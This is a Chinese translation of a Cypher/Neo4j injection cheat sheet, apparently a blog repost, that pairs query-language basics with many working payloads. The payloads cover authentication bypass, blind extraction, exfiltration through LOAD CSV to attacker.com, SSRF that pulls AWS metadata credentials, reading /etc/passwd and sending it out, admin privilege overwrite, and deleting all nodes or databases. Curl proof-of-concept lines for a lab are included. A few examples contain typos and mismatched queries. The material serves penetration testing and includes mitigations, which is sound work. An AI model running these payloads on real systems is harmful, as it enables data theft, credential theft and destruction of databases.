Cypher 注入速查表

原文地址cypher-injection-cheatsheet,转载并翻译
图片太多转存失败遂放弃,可见Cypher 注入速查表

发布于速查表栏目,2022年12月26日

在这里插入图片描述

1. Cypher

什么是Cypher?

  • Cypher是**(Open) Cypher Query Language**的简称
  • 它是Neo4j的图查询语言,让您从图中检索数据。它类似于图数据库的SQL
  • 它最初是为Neo4j设计的,但通过openCypher项目开放。现在它被许多其他数据库使用,包括RedisGraph、Spark、Amazon Neptune和SAP HANA Graph。
  • Cypher查询语言参考,版本9

图数据库

图数据库与关系型数据库的比较

Relational databaseGraph database
Vendor examplesMySQL, Microsoft SQL ServerNeo4j, RedisGraph, Amazon Neptune
What it looks likeTables, rows, columns:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传Graphs, nodes, relationships:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

有趣的事实:Neo4j被BloodHound使用

图数据库基础

图数据库可以使用以下元素存储任何类型的数据:

  • 节点 - 图数据记录
  • 关系 - 节点之间的链接(具有方向和类型)
  • 属性 - 存储节点或关系中数据的键/值对
  • 标签:节点或关系的类型
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

来源

Cypher查询

查询组件

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
来源
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

来源

注释

  • //: 行内注释
  • /* */: 多行注释

基本查询

MATCH子句
// 获取所有具有"Fruit"标签的节点
MATCH (a:Fruit) RETURN a    // 相当于SQL中的SELECT ... FROM

// 获取具有特定属性的所有"Fruit"节点
MATCH (a:Fruit {title: 'Green Apple'}) RETURN a
MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a

// 限制结果数量
MATCH (a:Fruit) RETURN a LIMIT 20

// 对结果排序
MATCH (a:Fruit) RETURN a ORDER BY title
CREATE子句
// 创建单个节点
CREATE (n)

// 创建多个节点
CREATE (n), (m)

// 创建带标签的节点
CREATE (n:Person)

// 创建带多个标签的节点
CREATE (n:Person:Swedish)

// 创建节点并添加标签和属性
CREATE (n:Person {name: 'Andy', title: 'Developer'})

// 返回创建的节点
CREATE (a {name: 'Andy'})
RETURN a.name

// 创建节点并设置属性
CREATE (n:Account)
SET n.id=1, n.username="admin",n.password="password123"
RETURN n

获取数据库和节点信息

检索标签

检索图中的所有标签并删除重复项:

MATCH (a) return DISTINCT labels(a)

CALL db.labels()

CALL db.labels() YIELD label

CALL db.labels() YIELD label AS x

关于YIELD

  • YIELD允许您选择返回哪些可用的结果字段(此处为label),并将它们存储在一个变量(x)中,该变量可以被查询的其余部分使用。
  • 使用变量并不是必需的。这种语法也是有效的(我不确定为什么):
CALL db.labels() YIELD label RETURN count(label)
// 等同于
CALL db.labels() YIELD label AS x RETURN count(x)
检索标签的属性
MATCH (c) WHERE c.name = 'Spongebob'
RETURN keys(c)

// 删除重复项
MATCH (c:Character)
RETURN DISTINCT keys(c)
列出数据库
SHOW databases
转储数据库中的所有节点
USE myDatabase    // 选择要查询的数据库
MATCH (n) RETURN n
列出当前用户
SHOW CURRENT USER
列出所有用户
SHOW USERS
列出可用的过程
SHOW procedures
// 或
CALL dbms.procedures()
列出可用的函数
CALL dbms.functions()
列出用户角色
// 切换到系统数据库,然后列出角色
USE system CALL dbms.security.listRoles()

有用的函数

collect()

collect()收集所有值并在单个列表中返回它们(对数据窃取有用):

MATCH (c:Character)
RETURN collect(c.name)			   

// 返回:
// ["Squidward", "Mr.Crabs", "Spongebob", "Sandy", "Patrick"]
split()

split()使用分隔符将字符串拆分为字符串列表:

RETURN split('one,two', ',')

// 返回:
// ["one","two"]

在一条语句中执行多个查询

子句组合

Cypher查询由多个链接在一起的子句组成,例如:

MATCH (john:Person {name: 'John'})
MATCH (john)-[:FRIEND]->(friend)
RETURN friend.name AS friendName

根据Cypher规范

另一种理解子句的方式是将它们视为函数链:本质上,每个子句都是一个函数,它接受一个表作为输入,并返回一个表作为输出。因此,整个查询是这些"函数"的组合。

这使得在后面利用Cypher注入时,可以在一条语句中链接多个子句。
例如,如果我们可以注入到MATCH ... WHERE ... RETURN查询中,我们将能够添加CALLLOAD CSV FROM子句:

MATCH ...
WHERE ...
CALL ... YIELD ...
LOAD CSV FROM ...
RETURN ...

这里是完整示例)

UNION子句
  • Cypher的UNION子句将两个或多个查询的结果合并成一个结果集(包括属于联合中所有查询的所有记录)
  • 但所有查询必须具有相同的返回名称和相同数量的返回列
  • 如果组合的查询返回不同类型的数据(例如字符串和数字),这不是问题
  • 使用**UNION合并查询并删除重复项,使用UNION ALL****保留**重复项
MATCH (n:Person)
RETURN n.name
UNION
MATCH (n:Book)
RETURN n.title

// 使用相同的别名
MATCH (n:Person)
RETURN n.name AS name
UNION
MATCH (b:Book)
RETURN b.title AS name

错误的语法:

// 不允许
MATCH (p:Person)
RETURN p.name
UNION
MATCH (b:Book)
RETURN b.title
WITH子句

WITH子句允许您链接(或管道)查询,即将一个查询的输出链接到另一个查询。
例如,用ORDER BY子句跟进MATCH子句:

MATCH (c)
WITH c
ORDER BY c.Character DESC
LIMIT 3
RETURN collect(c.name)

// 例如输出			   
// │["Mr.Crabs","Spongebob","Squidward"]│  

这对Cypher注入很有用,可以跳出初始查询。

CALL {} 子查询

CALL可用于调用过程(例如CALL db.labels())或子查询,即查询内的其他查询。

LOAD CSV

LOAD CSV用于从本地或远程CSV文件导入数据:

// 导入本地文件
LOAD CSV FROM 'file:///users.csv' AS line RETURN line

// 导入远程文件
LOAD CSV FROM https://domain.com/data.csv AS line RETURN line

请注意,它实际上不必是CSV文件,这使得SSRF成为可能:

LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line

LOAD CSV FROM "https://attacker.com" AS line RETURN line

LOAD CSV支持HTTPSHTTPFTPfile:///。它会跟随重定向,但不会跟随改变协议的重定向(例如从HTTPSHTTP)。

APOC库

Neo4j APOC库

  • 代表Awesome Procedures on Cypher
  • 扩展Neo4j数据库的功能和Cypher语言
  • 提供更多功能,包括导入/加载导出数据的过程
  • 默认不安装,但被认为是最常见的Neo4j库

apoc.load.json()用于导入本地或远程JSON文件:

// 本地文件
CALL apoc.load.json("file:///person.json")
YIELD value
RETURN value

// 远程文件
CALL apoc.load.json("https://domain.com/data.json")
YIELD value
RETURN value

列出可用的APOC过程:

CALL apoc.help('apoc')

条件语句

这对于利用基于布尔和基于时间的Cypher注入非常有用。

CASE表达式

CASE结构用于创建条件语句,例如:

MATCH (n:Movie)
RETURN
CASE n.title
  WHEN 'The Matrix Reloaded'  THEN 1
  WHEN 'The Matrix Revolutions' THEN 2
  ELSE 3
END AS result
LIMIT 5
APOC的WHEN和CASE过程

APOC还支持条件执行过程

更多内容

2. Cypher注入

什么是Cypher注入?

根据Neo4j

Cypher注入是一种恶意格式化输入跳出其上下文的方式,通过改变查询本身,劫持查询并在数据库上执行意外操作。

这是SQL注入的近亲,但影响我们的Cypher查询语言。

类型

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我没有找到Cypher注入攻击的分类,但基于SQL注入的类型,它们也可以是:

  • 带内:用于注入恶意Cypher代码和查看结果的同一通道
    • 基于错误:使数据库产生错误消息以了解其结构并构建有效载荷
  • 推断型(盲注):不返回错误,但可以分析响应以从应用程序的行为中推断信息
    • 基于布尔:使用条件并寻找行为差异来推断信息
    • 基于时间:使应用程序睡眠几秒钟,测量响应并推断数据
  • 带外(盲注):将Cypher查询的数据和结果窃取到外部服务器

注意:

  • 基于联合的注入(在我看来)不适用,因为没有SQL表的概念。Cypher确实有UNION子句,但它的工作方式不同。
  • 基于时间的注入默认不可用。它需要安装APOC

示例:简单的带内注入

易受攻击的查询

// NodeJS应用中的Neo4j查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

有效载荷

Spongebob' or 1=1 RETURN c//

最终查询

executeQuery("MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c")

执行的是:

MATCH (c:Character)
WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c

返回所有节点。

示例:使用UNION的带内注入

来源:The Cypher Injection Saga
易受攻击的请求
GET /show/id?id=42
原始查询

MATCH (a:Person)
WHERE id(a) = 42
RETURN a

其中id值(这里是42,通过id GET参数传递)是攻击者可控的。
有效载荷1

42 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a

最终查询

MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION CALL db.labels() YIELD label AS a
RETURN a

注意,第一个查询返回数字,而第二个返回字符串,这在Cypher中不是问题。
有效载荷2

42 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //

最终查询

MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION MATCH(b)
RETURN DISTINCT labels(b) AS a 
//RETURN a

示例:带外注入

同一示例但不同的利用方法:
易受攻击的请求
GET /show/id?id=42
原始查询

MATCH (p:Person)
WHERE id(p) = 42
RETURN p

有效载荷

42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r

最终查询

MATCH (p:Person)
WHERE id(p) = 42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
RETURN p

3. 测试方法(针对Neo4j)

从哪里查找

  • 任何可能在数据库中处理的用户控制输入。

注意以下内容:

  • 数字ID
  • 登录表单
  • REST API端点

构建有效载荷的技巧

使用Neo4j浏览器或Neo4j桌面版

使用Neo4j浏览器或Neo4j桌面版在您控制的数据库(例如cypher-playground)上确保您的有效载荷能按预期工作,并且语法正确。

注入上下文

根据注入上下文,您可能需要结束正在注入的字符串或查询,以跳出它。例如:

'
"
'})

它也可能更复杂且特定于目标,如本漏洞赏金报告所示:

.*' | o ] AS filteredOrganisations

"WITH x as Y"技巧
如果要注入到CREATE子句中,请使用类似WITH 1337 AS y的方式跳出它:
原始查询

CREATE (n:Person) SET n.name="test" RETURN n

有效载荷

test" WITH 1337 AS y MATCH (n) DETACH DELETE n//

最终查询

MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n

行内注释

使用//注释掉请求的其余部分。它允许消除限制结果的子句。
例如,LIMIT 0表示不显示输出,但可以绕过:
原始查询

MATCH (n) WHERE n.is_active = USER_INPUT RETURN n LIMIT 0

有效载荷

1 OR 1=1 RETURN n//

最终查询

MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0

多行注释

使用/*注释掉多行请求,例如:
原始查询

MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u LIMIT 5

有效载荷

' OR 1=1 RETURN u/*

最终查询

MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u/*'
RETURN u LIMIT 5 /*Only return 5 results*/

// 等同于:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u

限制:当您注入/*时,多行注释将在查询中的第一个终止符(即*/)处停止。
例如,这里无法消除LIMIT 0

// 原始查询
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u /* second comment */ LIMIT 0 /* Do not display output */

注入' OR 1=1 RETURN u /*后的最终查询:

MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u /*'
RETURN u /* second comment */ LIMIT 0 /* Do not display output */

复制粘贴

提醒一下,从其他地方复制粘贴有效载荷可能会添加不可见字符。
此外,Cypher查询通常会显示换行符以提高可读性。

因此,如果有效载荷应该有效但不起作用,请确保没有任何破坏有效载荷的不需要的字符。

检测方法

基于错误的检测

尝试使用以下载荷触发错误

'
"
)
// 在前面添加字符串,如 `zxlck.`
\'
12/0    // 即 int/0
42-1    // 即 int-int
randomstring
1 or 1=1
' or 1=1
" or 1=1
' or '1'='1
" or "1"="1
...

Neo4jError 示例: 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

来源:The Cypher Injection Saga

盲注数学运算

将参数中的数值更改为数学运算
例如,如果 /profile?id=42/profile?id=41%2b2-1 (载荷为 41+2-1 但经过 URL 编码)返回相同响应,则表明存在代码注入。

盲注基于布尔值

寻找响应中的差异:

' or 1=1 //
' or 1=0 //

" or "1"="1
" or "1"="2

" or True //
" or False //
...

带外交互

尝试向你的服务器发送带外 HTTP 请求:

LOAD CSV FROM 'https://attacker.com' AS b return b//

基于时间的

如果启用了 APOC,可以使用:

CALL apoc.util.sleep(10000)

示例
原始查询:

MATCH (n:User) WHERE n.name='Jane' RETURN n

载荷:

Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //

最终查询:

MATCH (n:User) WHERE n.name='Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //

利用方法

认证绕过

与通过 SQLi 绕过认证类似。尝试以下载荷:

1 OR 1=1

例如:

// 易受攻击的查询
MATCH (n) WHERE n.name = "admin" and n.password = {用户提供的输入} RETURN n LIMIT 0

// 最终查询
MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0

泄露数据库中的标签和属性

为了构建有效的查询,我们需要知道数据库中存在哪些标签和属性。首先,尝试提取这些信息,如果它们没有在 HTTP 响应中返回,则将其泄露到我们的服务器。

带内注入

泄露标签

CALL db.labels()

泄露标签的属性(这里是 Character):

MATCH (c:Character) RETURN DISTINCT keys(c)

泄露属性的值(这里是 name):

MATCH (c:Character) RETURN c.name
带外/盲注(使用 LOAD CSV)

LOAD CSV 用于导入本地或远程文件。 由于它向外部服务(我们可以定义)发送 GET 请求,因此可以将数据从数据库泄露到我们控制的服务器(基本上是内部 SSRF)。

泄露标签

CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/'+label
AS b RETURN b//

(每个标签都会发送一个 GET 请求)
泄露标签的属性(这里是 Character)使用 APOC:

MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '')
AS b RETURN b//

泄露标签的属性(这里是 Character)不使用 APOC:

// 第一个属性
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[0]
AS b RETURN b//

// 第二个属性
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[1]
AS b RETURN b//

泄露属性的值(这里是 name):

MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//

在不知道标签和属性的情况下泄露数据

即使无法泄露标签和属性,如果有一个告诉你返回变量名称的错误消息,仍然可以进行利用(真实示例)。
例如:泄露所有节点
易受攻击的查询:

// NodeJS 应用中的 Neo4j 查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

载荷:

// 替换 'c' 为你拥有的返回变量名
' or 1=1 RETURN c//

最终查询:

MATCH (c:Character)
WHERE c.name = '' or 1=1
RETURN c//' RETURN c

基于错误注入的 Date() 技巧

如果可以看到错误消息,将要转储的数据放在 Date() 函数内。
由于它将无法将其转换为日期,它会将接收到的参数(即您想要泄露的数据)作为错误输出:

MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))

来源

通过基于布尔值的注入进行数据泄露

来自 Neo4j (Cypher graph query language) injection 的载荷:
属性(列)数量

MATCH (a)
RETURN size(keys(a))
LIMIT 1

属性长度

MATCH (a)
WHERE a.name = '' OR 4 = size('1234')
RETURN a
LIMIT 1

OR 4 = size('1234') 使条件为真,所以查询会返回 1 条记录。
4 = size('1234') 替换为 1 = size('1234') 不会返回记录。

第一个属性的长度

MATCH (a)
RETURN size(keys(a)[0])
LIMIT 1

If 条件

MATCH (a:Movie)
RETURN a
ORDER BY
CASE 'a'
    WHEN 'b' THEN a.title
    ELSE a.name
END

子字符串/字符

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person)
RETURN substring(keys(b)[0],0,1) AS test//'

组合起来

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE substring(keys(b)[0],0,1)
    WHEN "a" THEN 2
    ELSE 3
END AS test//'

                    
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN case substring(keys(b)[0],0,1) WHEN "n" THEN 2 ELSE 3 END AS test//'

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE size(keys(b)[0])
    WHEN 1 THEN 2
    ELSE 3
END AS test//'

                  
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION                                                                            MATCH (b:Person) RETURN
CASE size(keys(b)[0])
    WHEN 4 THEN 2
    ELSE 3
END AS test//'

通过基于时间的注入进行数据泄露

我需要进一步研究以创建载荷。想法是结合 if 条件(类似于基于布尔值的注入)和 CALL apoc.util.sleep(10000) 来推断值。

SSRF

除了从数据库泄露数据外,我们还可以使用 LOAD CSV 进行内部 SSRF。
更准确地说,我们通过以下方式链接内部 SSRF 和外部 SSRF:

  1. 向内部服务发送请求
  2. 将输出存储在变量中
  3. 向您的服务器发送第二个请求并将变量中的数据附加到 URL(作为路径)

请注意,内部服务和图形数据库可以托管在不同的服务器上。
泄露内部资源响应
尝试加载内部网页或文件并将它们发送到您的服务器:

LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
LOAD CSV FROM "https://attacker.com/"+x[0] AS y
RETURN ''//

尝试访问各种内部资源:

  • 敏感文件,例如 http://localhost:3030/internal-api/keys.txt
  • 云元数据端点(例如 AWS 元数据服务)
  • 任何内部端点,例如 https://192.168.1.1/adminhttp://localhost:8080

请注意:

  • 即使 Neo4j 数据库和敏感文件托管在不同的服务器上,这也有效
  • 文件类型无关紧要(不必是 CSV)

云中的横向移动

  • 如果可以查询云元数据服务,尝试获取凭据并将攻击升级到其他机器。
  • 但这IMDSv1 中有效。
  • IMDSv2 要求通过 HTTP 请求头 X-aws-ec2-metadata-token 传递会话令牌,以允许查询 AWS 元数据服务。似乎没有办法在 LOAD CSV 发送的 GET 请求中包含此令牌。

导出包含特殊字符的数据/响应

如果被泄露的数据(这部分:x[0])包含 URL 中不允许的字符(空格、单引号、双引号等),上述载荷将不起作用。 换句话说,LOAD CSV 不会自动对特殊字符进行 URL 编码。

例如,在 Neo4j 浏览器中运行此查询会返回错误(因为 a b c 中的空格):

LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+'a b c' AS y
RETURN y

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

a b c 分割成列表并只外泄第一个元素(a)可以正常工作:

LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+split('a b c', ' ')[0] AS y
RETURN y

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

除了使用 split(),还有 3 种潜在解决方案:

  1. URL 编码数据,例如使用 apoc.text.urlencode()(没有找到不使用 APOC 的方法)
  2. 使用 collect()(来自 Fun with Cypher Injections):
LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''

LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[1] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''        

  1. 使用 UNWIND(来自 Fun with Cypher Injections):
LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''

我尚未进一步研究这个问题。只是想提出在导出数据时可能出现的潜在问题。

任意文件读取

如果 Neo4j 数据库配置错误,将其"导入"目录设置为危险位置(如 /var/www/html/),您可以使用 LOAD CSV 读取其子目录中的任意文件。
泄露数据库"导入"目录的位置

// 在 Neo4j Desktop 1.5.6 上测试
CALL dbms.listConfig() YIELD name, value WHERE name='server.directories.import' RETURN value

在旧版本上,可能需要使用不同的名称,例如 Neo4j Desktop 1.3.11 中的 dbms.directories.import 而不是 server.directories.import
利用配置错误的数据库读取任意文件
例如,如果导入目录设置为 /

// 加载 /etc/passwd 并发送到您的服务器
LOAD CSV FROM 'file://etc/passwd'
AS x
LOAD CSV FROM "http://attacker.com/"+x[0]
AS y RETURN ''//

最终查询:

MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://attacker.com/'+x[0] AS y RETURN ''// RETURN n

执行相同操作的另一个载荷:

' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RESTURN n //

来源:Pentesting Cisco SD-WAN Part 1: Attacking vManage

覆盖 CREATE 子句中的值

来自 Fun with Cypher Injections 的权限提升示例
原始查询
创建一个普通(低权限)账户:

CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="{注入点}"
RETURN n

载荷

",n.admin=True RETURN n//

最终查询

CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n
//" RETURN n

我们将 n.admin 值覆盖为 True,使创建的账户成为管理员。

拒绝服务

必须先阅读

本节中所有攻击的影响是服务器端拒绝服务,即删除数据库中的所有条目或删除数据库。
除非您有明确的书面许可测试拒绝服务,否则不要在真实目标上测试此类攻击。
这里仅为学习目的提及,帮助在漏洞报告中描述 Cypher 注入的潜在影响

泄露并终止连接
  1. 获取所有连接 ID
CALL dbms.listConnections()
  1. 使用 LOAD CSV 将它们泄露到您的服务器
  2. 终止连接
CALL dbms.killConnection("bolt-9276")    // 对于单个连接
CALL dbms.killConnections(["bolt-9276", "bolt-9273"])    // 对于多个连接

影响

  • 这会终止服务器和数据库之间的连接(这不是客户端攻击)。
  • 因此,使用自动化脚本,我们可以阻止合法用户的查询执行,导致 DoS。
  • 但这取决于您注入时的角色和权限。如果您的角色是管理员,您可以通过使用 LOAD CSV 的简单注入执行此 DoS 攻击。
删除数据库
  1. 列出所有数据库
SHOW databases
  1. 使用 LOAD CSV 将它们的名称泄露到您的服务器
  2. 删除数据库
DROP database spongebob
删除节点

易受攻击的查询:

// NodeJS 应用中的 Neo4j 查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

载荷:

// 替换 'c' 为您拥有的返回变量名
' DELETE c//

最终查询:

MATCH (c:Character)
WHERE c.name = ''
DELETE c//' RETURN c
删除所有节点

删除所有节点
易受攻击的查询:

// NodeJS 应用中的 Neo4j 查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

载荷:

' MATCH (all) DETACH DELETE all//

必须使用 DETACH 删除关系,因为节点不能在不删除其关系的情况下被删除。
最终查询:

MATCH (c:Character)
WHERE c.name = ''
MATCH (all)
DETACH DELETE all//' RETURN c

删除所有具有标签的节点
载荷:

' MATCH (all:Character) DETACH DELETE all//

WAF 绕过

空白被过滤

如果空白被过滤:

MATCH (n) RETURN n

用注释替换它们:

MATCH/**/(n)/**/RETURN/**/n

如果 /**/ 也被过滤,使用 /*随机字符串*/ 代替:

MATCH/*socmb*/(n)/*yaoekd*/RETURN/*pxras*/n

LOAD CSV 不起作用?尝试 APOC!

MATCH (c:Character)
CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name)
YIELD value RETURN value//

OOB 请求被阻止

假设您有盲 Cypher 注入,想要泄露内部端点/文件的内容,但对您服务器的请求被阻止(例如被 WAF)。
我没有尝试过,但 这篇文章 中有一个可能有效的想法:将您想要泄露的数据保存在数据库中,然后在应用程序中显示时读取它。

LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})

我不确定这是否是作者的意思,但如果其他方法都不起作用,值得一试。

然而,请注意,这可能会快速扰乱数据库,因为对于使用 LOAD CSV 获取的页面中找到的每一行,都会执行一个 CREATE 子句。

4. RedisGraph 中的 Cypher 注入

  • RedisGraph 是 Redis 的扩展,支持编写 Cypher 查询
  • 支持 一些过程(例如 db.labels
  • 支持子字符串
  • 没有 LOAD CSV 的等效项,但可以使用 CASE WHEN 进行 Cypher 注入(基于 if,使用 OR 1=2
    • 例如,使用 db.labels 获取标签并检查第一个字母是否等于 ‘a’(使用 OR 1=2 在盲注中获取结果)
  • The supports parameterized queries
  • 不支持 RBAC

5. 影响

注入 Cypher 查询可能产生各种影响,包括:

  • 能够泄露、删除和篡改存储在数据库中的数据
  • 能够泄露数据库结构的信息(标签、属性等)以帮助构建载荷并执行其他攻击
  • SSRF 能够:
    • 将数据从数据库泄露到您的服务器
    • 使易受攻击的服务器向内部服务/服务器发送请求,枚举目录和文件,扫描开放端口等
    • 读取这些请求的响应并将它们泄露到您的服务器
    • 访问敏感的内部端点和文件
    • 查询云元数据服务,有潜在的云横向移动可能
  • 认证绕过
  • 拒绝服务,意味着通过以下方式阻止访问数据库:
    • 删除数据库
    • 删除数据库中的所有条目(节点和关系)
    • 终止(服务器端)数据库连接
  • 任意文件读取在配置错误的 Neo4j 数据库中(将其"导入"目录设置为危险位置)
    为什么 DoS 和 SSRF 基本上总是可能的?
    在 SQL 注入中,初始子句限制了您可以做的事情。例如,如果是 SELECT 语句,将无法注入使其修改数据的载荷。
    Cypher 没有这种限制。无论初始查询是什么,如果您可以注入其中,就可以添加新的子句(使用 WITH x as Y 技巧)来删除数据、执行 SSRF 等。

6. 修复和缓解措施

修复

  • 使用参数化查询
// 不易受攻击(参数化查询)
session.run("MATCH (c:Character)
WHERE c.name = $name RETURN c", {name: name})

// 易受攻击(字符串与 Cyper 查询连接)
session.run("MATCH (c:Character)
WHERE c.name '" + name + "' + RETURN c)

缓解措施

  • 使用 Neo4j 的 RBAC
  • neo4j.conf 中禁用/黑名单 Apoc 过程(如 LOAD、IMPORT、EXPORT…)(自 4.3 版本起可用)
  • 如果不使用 APOC,请卸载它
    请注意,目前没有办法禁用 LOAD CSV(可以禁用函数但不能禁用子句),但 Neo4j 正在开发修复方案。
    更多信息
  • Protecting against Cypher injection

7. 资源

文档

OpenCypher

文章和案例分析

工具

文章

视频

实践

8. 实践

Neo4j Desktop

安装

  • 下载 Neo4j Desktop(需要创建一个免费账户)
  • 按照这个指南用激活密钥注册它,并开始使用演示项目
  • 按照这个指南启用 APOC(安装后需要重启 Neo4j Desktop)

使用 APOC

  • 打开 Neo4j 浏览器(使用 load-movies.cypher 文件前面的"Open"按钮)
  • 列出可用的 APOC 过程:
CALL apoc.help('apoc')
  • 例如,要了解 apoc.text.join()(上面用于泄露标签)的功能:
MATCH (m:Movie) RETURN DISTINCT keys(m)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

MATCH (m:Movie) RETURN DISTINCT apoc.text.join(keys(m), ',')

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

设置文件

查找 LOAD CSV 的"import"目录
打开 Neo4j Desktop。点击"Settings"并搜索 directories.import。例如:

# 此设置限制所有 `LOAD CSV` 导入文件必须在 `import` 目录下。移除或注释掉此设置可以
# 允许从文件系统的任何位置加载文件;这会引入可能的安全问题。请参阅
# 手册的 `LOAD CSV` 部分了解详情。
server.directories.import=import

cypher-playground

安装

git clone https://github.com/noypearl/cypher-playground.git
cd cypher-playground
docker-compose up

访问

注入示例

触发错误
载荷:

randomstring

PoC:

curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/randomstring' -H 'accept: application/json'

返回所有内容
载荷:

1 or 1=1

PoC:

curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' -H 'accept: application/json'

泄露标签
载荷:

Spongebob' RETURN 1 as x UNION CALL db.labels() YIELD label AS x RETURN x//

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20CALL%20db.labels()%20YIELD%20label%20AS%20x%20RETURN%20x%2f%2f" -H 'accept: application/json'

泄露 Character 标签的属性
载荷:

Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x //

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20DISTINCT%20keys(c)%20AS%20x%20%2f%2f" -H 'accept: application/json'

泄露 name 属性的值
载荷:

Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN c.name AS x //

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20c.name%20AS%20x%20%2f%2f" -H 'accept: application/json'
curl -X 'GET' \
  'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' \
  -H 'accept: application/json'

1 CALL db.labels() YIELD label LOAD CSV FROM 'https://cypher.free.beeceptor.com/'+label AS b RETURN b//
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值